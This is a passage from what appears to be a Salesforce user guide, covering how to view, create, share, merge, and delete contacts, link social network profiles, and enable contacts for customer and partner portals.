networks, including Twitter, Facebook, and LinkedIn. Use Klout to see
Contacts
your accounts', contacts', and leads' influence on social media, who they
Leads
influence, who influences them, and the topics they talk about.
LinkedIn is useful for staying up to date on your contacts', leads', and person Contacts
accounts' professional personas. You can see profile photos, current titles
Leads
and companies, and locations.
Person Accounts
Twitter is a great way to see the public personas of your existing and
Accounts
potential customers and learn what's on their minds. You can see bios, recent
Contacts
tweets, and the people who are following and being followed by your
Leads
accounts, contacts, and leads.
183
Contacts
Social
Network
Supported Records
YouTube
YouTube helps you find and view videos related to your accounts, contacts, Accounts
and leads.
Contacts
Leads
See Also:
Security and Privacy When Using Social Accounts and Contacts
Enabling and Configuring Social Accounts and Contacts
Using Social Accounts
Security and Privacy When Using Social Accounts and Contacts
Enabling and Configuring Social Accounts and Contacts
Using Social Contacts
Security and Privacy When Using Social Accounts and Contacts
Enabling and Configuring Social Accounts and Contacts
Using Social Leads
184
Contacts
Social Accounts and Contacts is secure and private. Here's an overview of its security and privacy features:
Salesforce uses the trusted OAuth protocol when you sign in to your Facebook, LinkedIn, or Twitter accounts, so your
login credentials aren't exposed to Salesforce.
Salesforce doesn't import or store social information. Each time you select a contact's social profile or YouTube video,
Salesforce retrieves the information directly from the corresponding social network and simply displays it. The information
that you see is read-only and can't be modified.
You can't import or store social data in Salesforce records. This ensures that you always see current details when viewing
your accounts', contacts', and leads' social information.
The details that are visible to you when you view a Facebook, LinkedIn, or Twitter profile are determined by the connection
that you have with the account, contact, or lead, as well as privacy settings. Typically you see the same information as you
would when viewing the profile while logged in directly to the social network. Some of your customers, however, may have
privacy settings that restrict the visibility of some or all of their profile details outside the network. In those cases, you see
very few, if any, profile details in Salesforce.
Your view of a Facebook, LinkedIn, or Twitter profile is not shared with anyone else in your organization. Other Salesforce
users must sign in to their own social network accounts to use Social Accounts and Contacts and the profile details that
are visible depend on each user's connection level with the account, contact, or lead, as well as their privacy settings.
None of your Facebook, LinkedIn, or Twitter profile information is stored in Salesforce, nor does Salesforce post anything
about you or your activities to your social network accounts.
Accounts, contacts, and leads aren't notified when you view their social network profiles using the Social Accounts and
Contacts feature.
Important: The Social Accounts and Contacts feature uses Facebook, Klout, LinkedIn, Twitter, and YouTube public
APIs to display social information in Salesforce. Because these social networks have the option of modifying or
terminating access to their APIs at any time, salesforce.com cant guarantee the future availability of this feature or
any of its functionality, including access to the data that is currently provided or to any particular social network as a
whole.
See Also:
Social Accounts, Contacts, and Leads Overview
Using Social Accounts
Social Accounts, Contacts, and Leads Overview
Using Social Contacts
Social Accounts, Contacts, and Leads Overview
Using Social Leads
185
Contacts
Contacts Home
Contacts Home
Available in: All Editions
Read on contacts
To view contacts:
Read on contacts
To create contacts:
Create on contacts
In the View section, select a list view from the drop-down list to go directly to that list page, or click Create New View to
define your own custom view.
In the Recent Contacts section, select an item from the drop-down list to display a brief list of the top contacts matching
that criteria. From the list, you can click any contact name to go directly to the contact detail. Toggle the Show 25 items
and Show 10 items links to change the number of items that display. The fields you see are determined by the Contacts
Tab search layout defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited,
and Developer Editions only). The Recent Contacts choices are:
Recent Contacts Choice
Description
Recently Viewed
Recently Created
Recently Modified
Under Quick Create, fill in the fields to add a new contact. Alternatively, click New next to the Recent Contacts section
to create a new contact.
Under Reports, click any report name to jump to that report.
Select any of the links under Tools to manage your contacts.
If you sync contacts from Outlook using Salesforce for Outlook, you may see a banner at the top of your Contacts home
page that links to a list of your unresolved contacts. These are synced Outlook contacts that still need to be assigned to
Salesforce accounts.
186
Contacts
Person accounts appear in contact list views but not the Recent Contacts list on the Contacts home page.
See Also:
Contacts Overview
Using Contacts
Creating Contacts
Deleting Contacts
Creating Custom List Views
Resolving Your Synced Outlook Contacts
Read on contacts
To create contacts:
Create on contacts
The contacts list page displays a list of contacts in your current view. To show a filtered list of items, select a predefined list
from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you
created, select it from the View drop-down list and click Edit.
Click a contact name to view the detail. Click Edit or Del to edit or delete the contact.
If Chatter is enabled, click Chatter in the top-right corner to see feed updates for the list view. Click List to toggle
back to the list view.
Click New Contact or select Contact from the Create New drop-down list in the sidebar to create a contact.
To add contacts to an existing campaign, select the box next to one or more contacts, and then click Add to Campaign.
Alternatively, select the box in the column header to select all displayed records, then click Add to Campaign.
Click the Open Calendar link at the bottom of the page to display a weekly view of a calendar underneath the list. Then,
you can drag a record from the list to a time slot on the calendar to quickly create an event associated with the record. Note
that your administrator controls the availability of drag-and-drop scheduling.
or
When you select a person account name on a contact list view, the corresponding person account appears on the Accounts
tab.
To visually differentiate contacts from person accounts in contact list views, add the Is Person Account icon as a
column; see Creating Custom List Views on page 272. Person accounts do not have contacts.
187
Contacts
Note: In most situations, you can use person accounts as if they were contacts. You can include them in all contact
list views except on the contacts home page. For more information, see What is a Person Account? on page 68.
Click any column heading to sort in ascending or descending order using that columns information.
At the top of the list, click a letter to display the contents of the sorted column that begin with that character.
Note: Professional, Enterprise, Unlimited, and Developer Edition organizations can grant access to contacts beyond
what the sharing model allows. See Sharing Contacts on page 215.
Contacts that are not linked to an account are always private, regardless of your organizations sharing model. Only
the owner of the contact and administrators can view it. Sharing rules and workflow rules do not apply to private
contacts. If your organization uses divisions, private contacts always belong to the global division.
See Also:
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists
Printing List Views
Finding Out if Your Partners Use Salesforce
188
Contacts
Using Contacts
Using Contacts
Available in: All Editions
Read on contacts
To edit contacts:
Edit on contacts
View and edit contact details (for example, the account name)
Use Social Accounts and Contacts to view your contacts social network profiles, see their level of influence in social media,
and watch related YouTube videos.
Find contact-related information (for example, opportunities)
Find and add contacts from Data.com
Find and add Data.com contacts for a specific account
Clean contact records with Data.com Clean. on page 2592
View contact updates and comments (Chatter)
Give Customer Portal users access to a contact
Enable a contact as a partner portal user
Enabling Partner Super User Access
Troubleshoot partner portal user issues
189
Contacts
See Also:
Contact Fields
Creating Contacts
Social Accounts, Contacts, and Leads Overview
Data.com Product Suite Overview
Cloning Contacts
Sharing Contacts
Merging Duplicate Contacts
Read on contacts
To edit contacts:
Edit on contacts
Once you have located a contact on the Contacts home or list pages, click the contact name to display detailed information.
Use inline editing to edit fields directly on the detail page. If inline editing isn't enabled, contact your administrator.
To display the page in edit mode, click Edit, make your changes, and click Save.
To save the current contact and create another one, click Save & New.
To open a printable display of the record details, in the top-right corner of the page, click Printable View.
190
Contacts
Cases and opportunities associated with the contact remain associated with the previous account and do not roll up to the
new account.
New cases and opportunities created for the contact are associated with the new account.
See Also:
Contact Fields
Sending Stay-in-Touch Requests
When using Social Accounts and Contacts for contacts, you can:
Sign in to your social network accounts from any contact detail page.
Find your customers Facebook, LinkedIn, and Twitter profiles and link them to their contact records on page 193, so you
can view this information from contact detail pages.
Find YouTube videos related to your contacts and play them from contact detail pages.
See your contacts Klout information from contact detail pages.
Modify default search criteria if youre having trouble locating a contacts social information.
Configure your Social Accounts and Contacts settings so the Social Accounts and Contacts viewer only shows the social
networks that you want to use.
See Also:
Social Accounts, Contacts, and Leads Overview
Enabling and Configuring Social Accounts and Contacts
191
Contacts
To get started using Social Accounts and Contacts, you first need to sign in to your social network accounts from any account,
contact, or lead detail page. This creates private connections between Salesforce and your social network accounts, allowing
you to see external social profiles in Salesforce. These connections persist in future Salesforce sessions so you don't have to
sign in to your social network accounts again unless you sign out in the Social Accounts and Contacts viewer.
Note: You can see YouTube videos without doing these steps. The Klout service is only available when youre signed
in to your Twitter account..
To sign in to your social network accounts from a contact detail page:
1. On the Contacts home page or in a Contacts list view, click a contact's name to display the detail page. You can sign in
from any contact's detail page that you have permission to read.
2. In the header on the detail page, click a social network icon (
).
3. Click the Sign in button on the Social Accounts and Contacts viewer.
4. Enter your social network account credentials and authorize Salesforce to access your account.
Your Salesforce account and social network account are now connected.
Repeat these steps to create connections for your other social network accounts.
See Also:
Using Social Contacts
Social Accounts, Contacts, and Leads Overview
192
Contacts
Edit on contacts
Read on contacts
Once you have signed in to your social network accounts from Salesforce, you can use Social Accounts and Contacts to find
your customers' Facebook, LinkedIn, and Twitter profiles and link them to their contact records. Then you can view this
information directly from contact detail pages in Salesforce.
1. On the Contacts home page or in a Contacts list view, click a contact's name to display the detail page.
2. In the header on the detail page, click a social network icon (
).
3. If a social network profile hasn't been associated with the contact yet, Salesforce automatically searches for profiles that
match the name on the contact record. Click the correct profile in the search results displayed on the Social Accounts and
Contacts viewer.
Tip: If the default search doesn't find the correct profile, search again using different search terms on page 195.
The profile that you select is linked to the Salesforce record, so other Salesforce users who access the record can also view
the profile.
4. View the social information that your contact is sharing with you.
Note: Depending on the contact's privacy settings, as well as the permissions set by the contact's friends or
connections, you may not see as much information as you would if logged directly into your social network account.
5. You can also:
Click Show Photo in Salesforce to display the contact's profile picture on the contact detail page.
Click View Full Profile to see the contact's complete social network profile directly in the social network.
Click Find Different Profile to change the social network profile that is linked to the contact record.
Click Sign Out to close the private connection between Salesforce and your social network account. When you do this,
you're unable to see your contacts' social network profiles until you sign in again.
193
Contacts
Repeat these steps to find and view the contact's other social network profiles. You can use the tabs on the Social Accounts
and Contacts viewer to easily switch between the different social networks.
See Also:
Using Social Contacts
Viewing YouTube Videos about Your Contacts
Viewing Your Contacts' Klout Information
Social Accounts, Contacts, and Leads Overview
Read on contacts
You can use Social Accounts and Contacts to find YouTube videos related to your contacts and play them from contact detail
pages in Salesforce.
1. On the Contacts home page or in a Contacts list view, click a contact's name to display the detail page.
2. In the header on the detail page, click the YouTube icon ( ).
3. In the YouTube search results, click the video that you want to watch.
Tip: If the default search doesn't find videos for the correct person, search again using different search terms.
4. The YouTube player opens in the Social Accounts and Contacts viewer and the video begins playing.
See Also:
Using Social Contacts
Viewing Your Contacts' Social Network Profiles
Viewing Your Contacts' Klout Information
Social Accounts, Contacts, and Leads Overview
194
Contacts
Read on contacts
You can use Social Accounts and Contacts to see your contacts Klout information, directly from contact detail pages in
Salesforce.
Note:
The Klout service is dependent on Twitteran administrator must enable Twitter in your organizations Social
Accounts and Contacts settings and you must be signed in to your Twitter account. You dont need a Klout account,
or have to be signed in to your Klout account, to see Klout information in Salesforce.
Before Klout information is available for a contact, you or someone else in your organization needs to associate a
Twitter profile with the contact record.
To see Klout information for a contact:
1. On the Contacts home page or in a Contacts list view, click a contact's name to display the detail page.
2. In the header on the detail page, click the Klout icon ( ).
3. View the contacts Klout information.
See Also:
Using Social Contacts
Viewing Your Contacts' Social Network Profiles
Viewing YouTube Videos about Your Contacts
Social Accounts, Contacts, and Leads Overview
When you want to associate a social network profile with a contacteither for the first time or if youre switching to a different
profile using the Find Different Profile buttonthe Social Accounts and Contacts feature searches for profiles that match
the Name field on the contact record. If you're looking for a LinkedIn profile, the search also matches against the Account
Name field.
Similarly, when looking for YouTube videos that are related to a contact, the default search criteria is determined by the Name
field.
Here are some tips if youre having trouble finding a contacts social information.
195
Contacts
If the default search can't locate your contact's social network profile or YouTube videos related to the account, enter
different keywords in the search box on the Social Accounts and Contacts viewer and click Search.
The name on the contact record may be different from your contacts social network user name or the name used in YouTube
video keyword tags. Try different variations of the contact's name; for example, search for Maddie Rigsby instead of
Madison Rigsby.
For LinkedIn profile searches, the account name on the contact record may not exactly match the company name in the
contact's LinkedIn profile. Try different versions of the account name, such as Universal Paper or Universal
Paper, Incorporated instead of Universal Paper, Inc.
If you still can't find the correct profile, the contact may not have an account in the social network or the contact's privacy
settings may be blocking you from finding their profile in a search. If your YouTube searches are still unsuccessful, the contact
may not be featured in any videos shared on YouTube.
See Also:
Using Social Contacts
Social Accounts, Contacts, and Leads Overview
If the Social Accounts and Contacts feature is enabled for your organization, you can turn off social networks that you don't
want to use. You can also turn off the Social Accounts and Contacts feature, if needed.
1. Click Your Name > Setup > My Social Accounts and Contacts > Settings.
2. Click Change your Social Accounts and Contacts settings.
3. Customize Social Accounts and Contacts so it works the way you want it to.
Select the social networks that you want to use. Deselect any of the services that you don't want to use.
Deselect Use Social Accounts and Contacts to turn off the Social Accounts and Contacts feature entirely. Select this
checkbox to turn the feature back on if you change your mind.
196
Contacts
Contact History
4. Click Save.
See Also:
Social Accounts, Contacts, and Leads Overview
Security and Privacy When Using Social Accounts and Contacts
Using Social Accounts
Social Accounts, Contacts, and Leads Overview
Security and Privacy When Using Social Accounts and Contacts
Using Social Contacts
Social Accounts, Contacts, and Leads Overview
Security and Privacy When Using Social Accounts and Contacts
Using Social Leads
Contact History
Available in: All Editions except Database.com
Read on contacts
The Contact History related list of a contact detail page tracks the changes to the contact. Any time a user modifies any of
the standard or custom fields whose history is set to be tracked on the contact, a new entry is added to the Contact History
related list. All entries include the date, time, nature of the change, and who made the change. Modifications to the related
lists on the contact are not tracked in the contact history. For information about setting up which fields are tracked, see
Tracking Field History on page 1100.
197
Contacts
Read on contacts
To edit contacts:
Edit on contacts
Hover over the links at the top of a detail page to display the corresponding related list and its records. If Chatter is enabled,
hover links display below the feed. An interactive overlay allows you to quickly view and manage the related list items.
Click a hover link to jump to the content of the related list. If hover links are not enabled, contact your Salesforce
administrator.
If hover details are enabled, hover over any lookup field on the detail page to view key information about a record before
clicking into that record's detail page.
To directly add new items, click New (or the equivalent button) at the top of a related list. For example, clicking New
Case lets you add a new case.
To change the number of records shown for related lists, click View More below a related list, or click fewer or more at
the bottom of the page.
Personal customization
Administrator's page layout customizations
Permissions to view related data
See Also:
Contact History
198
Contacts
Display a Chatter feed of updates, comments, and posts about the contact.
Note: If Chatter isn't enabled, contact your administrator.
Show or hide Chatter feeds using the Show Chatter and Hide Chatter links at the top of a feed.
To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM. To view the full
feed, above the update, click All Updates.
Following Contacts
When you follow a contact, your Chatter feed includes field changes and contact feed updates.
See Also:
Chatter Overview
Using Chatter Feeds
Manage Users
To create contacts:
Create on contacts
To view contacts:
Read on contacts
Once you have a partner account created, you can add partner users to the account as contact records. Partner users are Salesforce
users with limited capabilities focused on managing leads. Partner users log in to Salesforce through the portal.
Before creating partners, you should configure your portals; otherwise, your partner users may attempt to log into your portal
before your portals are ready.
199
Contacts
If you have enabled a user as a delegated administrator, the user cannot create a partner user unless at least one partner
profile has been added to the Assignable Profiles related list and the user has the Manage Users permission.
The available profiles for the partner user are limited to the Partner User profile or profiles that have been cloned from it.
Unlike a standard user, the partner user role is automatically assigned based on the account name. The partner user role is
a subordinate of the account owner's role, therefore, all data for the partner user role rolls up to the partner account owner's
role. Keep in mind that if you disable a portal user, their partner user role becomes obsolete and their data no longer rolls
up to the partner account role.
Partner users and contacts cannot be deleted. If you no longer want a partner user to have access to the portal, deactivate
the partner user. In addition, partner contacts cannot be owned by a non-partner account.
You can merge a portal contact record with another portal contact.
To disable a partner account, click Work with Portal and choose Disable Partner Account. Disabling the account disables
up to 15 of its partner portal users and permanently deletes all of the account's partner portal roles and groups. You cannot
restore deleted partner portal roles and groups.
After you disable a partner account, you can re-enable individual contacts as partner portal users. Re-enabling a contact
for a partner portal creates a new portal user and role that is not associated with the previous partner portal user and role.
We recommend disabling a partner account if the account was accidentally enabled for portal access.
See Also:
Disabling and Deactivating Portal Users
Enabling Partner Super User Access
Channel managers are associated with the partner users they manage by partner account ownership. A channel manager who
owns a partner account can access all the information and manage all the activities of the partner users associated with that
account.
200
Contacts
In addition, here are some other ways you can work with your partner users:
Enable partner super user access
Partner super users have access to data owned by all partner users and partner super users in the same role and those
below them in the portal account hierarchy, even if the organization-wide default setting is Private. Partner super user
access applies to cases, leads, custom objects, and opportunities only.
Assign tasks to partner users
If your partner users have the appropriate field-level security settings, they can view and create activities related to leads
or opportunities.
Add tasks to leads or opportunities to remind your partner users of particular tasks you would like them to perform. You
can view the activity history for a particular lead or opportunity, or use reports to track activities assigned to partner users.
Partner users can only assign tasks to other users in their partner account or to their channel manager.
Use notes and attachments to communicate with partner users
Partner users can create, view, and edit notes and add attachments from the Notes and Attachments related list on
selected detail pages, including lead, solution, and opportunity detail pages. You can use notes and attachments to share
documents or information with partner users. If Chatter is enabled for your organization, feed attachments are included
in the Notes and Attachments related list. Portal users can download feed attachments, but can't preview, edit, or delete
them.
The size limit for an attached file is 5 MB.
Click Login As Partner Portal User to troubleshoot
When you view the contact detail page for a partner user, you can click Login As Portal User. This opens a new browser
window and logs you into the portal as the partner user. Click this button to troubleshoot any issues partner users are
experiencing. You may also click this button to ensure that your portal is configured appropriately. The Login As Portal
User button is only available if you have the Manage Partners permission and one of the following: the Modify All
Data permission or you are the partner account owner or higher in the role hierarchy. The Login as Portal User button
does not display if you do not meet these requirements, or if the portal user is inactive.
201
Contacts
See Also:
About Partner Portal User Management
Managing Partner Users
Enabling Partner Super User Access
About Partner Portal Channel Manager User Management
Delegating Partner User Administration
Partner Portal Best Practices
Enabling Email in the Partner Portal
Assigning Events to Partner Users
Enabling Cases in the Partner Portal
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
To allow a customer to access your Self-Service portal, you must enable Self-Service for the customers contact or person
account record:
1. If the customer is a contact, click the Enable Self-Service button on the contact detail page. If the customer is a person
account, click the Enable Self-Service button on the person account detail page.
2. Verify the general information and locale settings, and enter any missing information. Note that the customer's Self-Service
Username defaults to his or her Email.
3. Optionally, select the Super User checkbox to enable the customer as a Self-Service super user who can view case
information, add comments, and upload attachments for all cases submitted by anyone in his or her company.
202
Contacts
Creating Contacts
4. Select Generate new password and notify user immediately to email a Self-Service username and password
to the customer.
5. Click Save.
Note: A Self-Service user can only view cases in the Self-Service portal that are associated with his or her account
record.
To disable Self-Service for a customer:
1. Click the View Self-Service button on the detail page.
2. Click Edit, and deselect the Active box.
3. Click Save.
To enable more than one Self-Service user at a time, see Enabling Multiple Self-Service Users on page 1411.
Note: You cannot delete an active Self-Service user; you can only deactivate his or her access to the Self-Service portal.
In addition, you cannot delete a contact or person account that is associated with an active Self-Service user. Instead,
deactivate his or her access to the Self-Service portal and then delete the contact or person account.
See Also:
Setting Up Self-Service
What is a Person Account?
Creating Contacts
Available in: All Editions except Database.com
Read on contacts
To create contacts:
Create on contacts
To create a contact, select Contact from the Create New drop-down list in the sidebar, or click New next to Recent Contacts
on the contacts home page. Enter the information for the contact. Click Save when you are finished, or click Save & New to
save the current contact and add another.
To automatically associate a contact with an account, view the account and click New Contact in the task bar. You can also
select New in the Contacts related list of an account.
If Quick Create is enabled by your administrator, you can also add a contact on the contacts home page.
Enterprise, Unlimited, and Developer Edition organizations can activate record types and ask you to choose a Record Type
when creating a contact. This determines the picklist values available when creating and editing a record.
If your organization uses divisions, the division of a new contact is automatically set to the division of the related account.
203
Contacts
Cloning Contacts
Note:
Contacts that are not linked to an account are always private, regardless of your organizations sharing model. Only
the owner of the contact and administrators can view it. Sharing rules and workflow rules do not apply to private
contacts. If your organization uses divisions, private contacts always belong to the global division.
See Also:
Cloning Contacts
Contact Fields
Contacts Home
Cloning Contacts
Available in: All Editions except Database.com
Create on contacts
The Clone button on a contact quickly creates a new contact with the same information as the existing contact, for example,
when you need to add multiple contacts for the same account.
Click Clone on an existing contact. Enter or change any information for the new contact, and click Save.
Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.
See Also:
Contact Fields
204
Contacts
To allow a customer to access your Salesforce Customer Portal, you must enable the customer's contact or person account
record as a Customer Portal user. You can either disable or deactivate Customer Portal users at any time.
To enable the Customer Portal for a customer:
1. Click Work with Portal and choose Enable Customer Portal User from the drop-down button on the contact or person
account detail page.
2. Verify the general information and locale settings, and enter any missing information. Note that the customer's Username
defaults to his or her Email.
3. Select a portal user license. The user license you choose determines the permission sets, user profile, and role hierarchy
options you can select for the Customer Portal user. See Customer Portal User Licenses on page 1698.
4. Select Generate new password and notify user immediately to email a Customer Portal username and
password to the customer.
If your organization uses multiple Customer Portals, a portal user can access all the Customer Portals assigned to his or
her profile with one username and password. See Creating Multiple Customer Portals on page 1667.
5. Click Save.
To troubleshoot or confirm the portal configuration, on the contact detail page, click Work with Portal and choose Login
As Portal User. This opens a new browser window and logs you into the portal as the partner user.
To view or edit an enabled contact's access to your Customer Portal, on the contact detail page, click Work with Portal
and choose View Customer Portal User.
You cannot enable the contact for the Customer Portal unless the owner of the contact's account is associated with a role
in your organization.
The first time you enable a contact for the Customer Portal on an account, you cannot assign the contact to a portal role.
The contact is automatically assigned to the Customer User role, which includes the name of the contact's account. You
can update contact's portal role later.
This behavior doesn't apply to high-volume portal users because they don't have roles and aren't included in the role
hierarchy.
205
Contacts
A contact can be either a partner or Customer Portal user, but not both. If a user is a partner user and a Customer Portal
user, then you need to create two contact records for the user so that he or she can have a separate username and password
for each portal.
However, a contact can be a Self-Service user as well as a partner or Customer Portal user. Any data created or owned by
a Self-Service user can be visible to a partner or Customer Portal user associated with the same contact.
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
You cannot delete an active Customer Portal user; you can only disable or deactivate his or her access to the Customer
Portal.
The following table describes whether you can delete contacts that are associated with portal users:
After the person account is enabled, click Work with Portal and choose View Customer Portal User on the person account
detail page to view or edit a person accounts access to your Customer Portal.
You can't delete a person account enabled to use a Customer Portal.
You can't import person accounts to be automatically enabled to use a Customer Portal. For more information on importing
person accounts, see Import My Person Accounts on page 811.
Person account users can't self-register for a Customer Portal. When they try to do so, they receive an email notification
that instructs them to contact the portal administrator. See Enabling Customer Portal Login and Settings on page 1677.
You can't merge person accounts enabled to use a Customer Portal.
See Also:
Setting Up Your Customer Portal
What is a Person Account?
Enabling Partner Super User Access
206
Contacts
Read on contacts
To edit contacts:
Edit on contacts
When you change the account on contacts enabled for a Customer Portal or partner portal:
Portal users can access their own cases and opportunities from their previous accounts. Contacts that are Self-Service users
can view on the Self-Service portal only cases that are associated with their current account. Self-Service users cannot view
opportunities.
Contacts' portal roles are automatically updated to match the name of the account to which they are transferred (unless
they're high-volume portal users, which don't have roles). For example, the portal role Account A Customer User becomes
Account B Customer User (because a portal role's name includes the name of the account with which it is associated).
Portal roles are unique to each account and are located under the account owner's role in your organization's role hierarchy.
When you transfer a partner portal user to another account:
Opportunities on each account are automatically recalculated through your organization's forecast hierarchy.
Opportunities owned by the partner portal user remain in the previous account.
This is because portal users' roles are updated when you transfer them between accounts.
Delegated partner user administrators and delegated Customer Portal user administrators can update portal users on
accounts to which they are transferred.
You can only transfer contacts enabled for a partner portal to accounts that are enabled for a partner portal.
See Also:
Enabling the Customer Portal for Contacts and Person Accounts
Self-Service for Contacts and Person Accounts
207
Contacts
Contact Fields
Contact Fields
The available fields vary according to which Salesforce Edition you have.
A contact has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings,
some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions
only.)
If the contact record was added from Data.com, certain fields, as identified here, will be populated with the Data.com value,
if a value is available.
Field
Description
Account Name
Assistant
Asst. Phone
Birthdate
Clean Status
Contact Currency
Contact Division
208
Contacts
Field
Contact Fields
Description
Created By
Data.com Key
Department
Description
Description of contact. Up to 32 KB of
data are allowed in this field. Only the
first 255 characters display in reports.
Do Not Call
209
Contacts
Contact Fields
Field
Description
Fax
First Name
Home Phone
Last Name
Lead Source
Mailing Street
Mailing City
Mailing State/Province
Mailing Country
210
Contacts
Contact Fields
Field
Description
Mobile
Modified By
Name
Other Street
Other City
Other State/Province
Other Country
Other Phone
Phone
Reports To
Salutation
Title
211
Contacts
Field
Description
Custom Links
Username
See Also:
Using Contacts
Creating Contacts
Cloning Contacts
Data.com Product Suite Overview
Read on contacts
Edit on contacts
To display an organization chart, enter the name of the contacts manager in the Reports To field for each contact in the
account. Then, click the [View Org Chart] link on any contact in the account. Salesforce displays an organization chart
showing the contact hierarchy with the direct reports for each contact you entered.
Note:
To maintain a complete organization chart, make sure every contact in an account contains another contact in the
Reports To field. The only exception to this is the contact at the very top of the organization chart. If only one
contact in an account reports to no one, that account will have a single organization chart for the entire account.
Because of its flexibility, this feature will not prevent you from selecting Reports To contacts from other accounts.
212
Contacts
Delete on contacts
Delete on contacts
AND
Edit Self-Service Users
Delete on contacts
AND
Manage Partners
Any related items from any of the duplicate contacts will be associated with the merged contact.
If you are merging duplicate contacts that are members of different campaigns, the campaign Member Status Updated
date for each contact is retained and associated with the newly merged contact.
213
Contacts
Before merging contacts that both have active Self-Service usernames, deactivate one Self-Service username. The merged
record will adopt the active Self-Service username. For more information on the Self-Service username field, see Contact
Fields on page 208.
Any account sharing and manual sharing for the master contact are applied to the newly merged contact.
When you merge contacts that have Reports To relationships, the newly merged contact retains the Reports To field
from the selected Master Record.
All discarded duplicate records are moved to the Recycle Bin.
The newly merged contact displays the Created By date from the oldest contact you are merging, and shows the merge
date as the Modified By date.
In organizations that use divisions, the merged contact is assigned to the division of the related account.
Merging contacts is not tracked in the setup audit trail.
You can delete a contact if you are an administrator, the contact owner, or a user above the contact owner in the organization
role hierarchy, and if you have the appropriate user permission.
The newly merged contact is automatically included on any case teams in which the contacts were associated.
The master contact replaces the duplicate contacts in all the requested meetings they were invited to. Also, all meeting
messages written by the duplicate contacts are automatically associated with the master contact. (Meeting messages appear
on the requested meeting's Web page and are visible to all invitees.)
The master contact replaces the duplicate contacts in all the scheduled meetings they were invited to. However, make sure
to edit the event detail page and click Add to Invitees to add the new master contact to the meeting invitee list.
Review the information in Tips for Merging Contacts, which also applies to merging contacts associated with portals users.
You can merge a portal contact record with another portal contact. For example, you can merge contacts enabled to use:
A partner portal or Customer Portal.
A partner portal with contacts enabled to use a Customer Portal or vice-versa.
A partner portal or Customer Portal with contacts that are not enabled to use a portal.
When you merge contacts that include partner portal and Customer Portal users, you must choose which type of portal
user to retain. The portal user you do not retain is disabled. However, after the contacts are merged, you can enable the
contact for access to the portal from which you removed during the merge process.
To merge contacts associated with various accounts:
1. Transfer the contacts you want to merge into one account.
2. Merge the contacts associated with the common account.
Portal users who are disabled during the merge process retain ownership of any records in which they are the owner. For
example, if a portal user owns a case, and the portal user is disabled, he or she remains the owner of the case until the case
is updated with a new owner.
See Also:
Merging Duplicate Accounts
Enabling the Customer Portal for Contacts and Person Accounts
Creating Partner Users
214
Contacts
Sharing Contacts
Sharing Contacts
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Your administrator defines your organization's sharing model for contact access. However, you can extend sharing privileges
for your own data on a contact-by-contact basis. Use contact sharing to increase access to your contacts; you cannot restrict
access beyond your organization's default access levels.
To view and manage sharing details, click Sharing on the contact detail page. The Sharing Detail page lists the users, groups,
roles, and territories that have sharing access to the contact. On this page, you can do any of the following:
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
Click Add to grant access to the record for other users, groups, roles, or territories.
Click Expand List to view all users that have access to the record.
For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level.
Special Considerations
Make sure you are sharing records with users who have the appropriate Read object permission for viewing the shared
records.
You cannot manually share a private contact (a contact without an account).
If you have permission to share an account, Salesforce automatically provides Read access to the associated account when
granting sharing access to a contact if the recipient does not already have it. If the recipient does not have access to the
account, you cannot share the contact unless you have permission to share the account as well.
If your organization-wide default for contacts is set to Controlled by Parent, the Contact Access options are not available
when sharing related records like accounts; instead, all access to contacts is determined by the user's access to the contact's
account.
Contact sharing is not available for organizations that have territory management or person accounts.
If your organization already has person accounts enabled, the organization-wide default for contacts is set to Controlled
by Parent and is not editable.
If your organization does not have person accounts yet you want to enable one of them, set your organization-wide
default for contacts to Controlled by Parent, which removes all your contact sharing rules and manually shared contacts.
See Also:
Granting Access to Records
Viewing Which Users Have Access
215
Contacts
A quick and easy way to retrieve updated contact information from your contacts and person accounts is to send Stay-in-Touch
requests. You can request updates from:
How it Works
1. On the detail page of a contact or person account, click Request Update either at the top of the page or in the Activity
History related list.
2. An outgoing email is created according to your personal Stay-in-Touch settings. As needed, edit the details of the email.
If Spell Checker is enabled for your organization, click Check Spelling to check the spelling of the message. Spell Checker
does not support all the languages that Salesforce supports. For example, Spell Checker doesnt support Thai, Russian,
and double-byte languages, such as Japanese, Korean, or Chinese. Click Send to send the email.
3. The recipient receives the email and clicks a link to either provide updates or confirm no changes are necessary.
4. You receive an email notification. Click the link in the email to update, review, and accept or reject the new information.
Note: To send individual Stay-in-Touch requests, you must have the Send Email permission. You can send individual
Stay-in-Touch requests regardless of the recipients Email Opt Out setting.
See Also:
Editing Stay-in-Touch Settings
Merging Updated Contact Information
Mass Stay-in-Touch Update
What is a Person Account?
216
Contacts
See Also:
Sending Stay-in-Touch Requests
Send Email
AND
Send Stay-in-Touch Requests
Use the Mass Stay-in-Touch wizard to request updated contact information from multiple contacts and person accounts
simultaneously.
To send a mass Stay-in-Touch email:
1. On the contacts home page, click Mass Stay-in-Touch from the Tools section.
If your organization uses person accounts, the link also appears on the accounts home page.
2. Select a list view of contacts and person accounts from whom you are requesting updated information. You can also edit
existing list views and create new list views.
3. Click Go.
4. Select the individuals to whom the request will be sent. Note that records which lack email addresses cannot be selected.
Click Next to continue.
5. Review the email to be sent and click Send.
Recipients can reply to you via email with their latest information. You can merge these updates as you receive them.
217
Contacts
Deleting Contacts
Note: Records in which the Email Opt Out box is checked do not appear in the list view, because you cannot send
mass emails to them.
See Also:
Sending Stay-in-Touch Requests
Editing Stay-in-Touch Settings
Merging Updated Contact Information
Deleting Contacts
Available in: All Editions
Delete on contacts
To delete a contact, click Del next to the contact on the contacts list page or in the Contacts related list of an account. You
can also delete a contact by clicking Delete on the contact detail page.
When you delete a contact, all related assets, campaign history, events, tasks, notes, and attachments are also deleted. You do
not need the Delete permission on any associated records that are included in the deletion. Associated opportunities, accounts,
entitlements, and cases are not deleted with the contact. The deleted contact is moved to the Recycle Bin. If you undelete the
